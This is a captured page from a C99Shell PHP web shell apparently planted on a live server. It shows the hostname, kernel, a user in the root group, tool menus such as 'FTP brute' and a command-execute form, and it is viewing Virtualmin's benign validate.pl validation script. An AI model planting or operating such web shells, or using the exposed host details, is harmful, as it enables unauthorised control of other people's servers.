!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     validate.pl (2.29 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Validate some or all virtual servers, and email a report to the admin

package virtual_server;
$main::no_acl_check++;
require './virtual-server-lib.pl';
&foreign_require("mailboxes");

if ($ARGV[0] eq "--debug") {
    $debug_mode = 1;
    }

# Find the virtual servers
@ids = split(/\s+/, $config{'validate_servers'});
if (@ids) {
    foreach $id (@ids) {
        $d = &get_domain($id);
        push(@doms, $d) if ($d);
        }
    }
else {
    @doms = &list_domains();
    }

# Find the features
@feats = split(/\s+/, $config{'validate_features'});
if (!@feats) {
    @feats = ( @validate_features, &list_feature_plugins() );
    }

# Call validation functions on each domain
$out = "";
if ($config{'validate_config'}) {
    $out .= "Virtual server validation\n";
    $out .= "-------------------------\n";
    }
foreach $d (sort { $a->{'dom'} cmp $b->{'dom'} } @doms) {
    @errs = ( );
    $count = 0;
    foreach $f (@feats) {
        next if (!$d->{$f});
        if (&indexof($f, &list_feature_plugins()) < 0) {
            # Core feature
            next if (!$config{$f});
            $vfunc = "validate_$f";
            $err = &$vfunc($d);
            $name = $text{'feature_'.$f};
            }
        else {
            # Plugin feature
            $err = &plugin_call($f, "feature_validate", $d);
            $name = &plugin_call($f, "feature_name");
            }
        push(@errs, "$name : $err") if ($err);
        $count++;
        }

    # Add message to output
    if ($count && (@errs || $config{'validate_always'})) {
        $out .= $d->{'dom'}."\n";
        if (@errs) {
            foreach $e (@errs) {
                $out .= "    ".&html_tags_to_text($e)."\n";
                }
            }
        else {
            $out .= "    OK\n";
            }
        }
    $ecount += scalar(@errs);
    }
$out .= "\n";

# Check Virtualmin config
if ($config{'validate_config'}) {
    &set_all_capture_print();
    $err = &check_virtual_server_config();
    if ($err || $config{'validate_always'}) {
        $out .= "Virtualmin configuration check\n";
        $out .= "------------------------------\n";
        $out .= $print_output;
        if ($err) {
            $out .= $err,"\n";
            $out .= "Configuration errors found\n";
            }
        else {
            $out .= "Configuration OK\n";
            }
        }
    $ecount++ if ($err);
    }

# Send email
if ($debug_mode) {
    print $out;
    }
elsif ($ecount || $config{'validate_always'}) {
    &mailboxes::send_text_mail(&get_global_from_address(),
                   $config{'validate_email'},
                   undef,
                   $ecount ? 'Virtualmin Validation Failed'
                       : 'Virtualmin Validation Successful',
                   $out);
    }


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--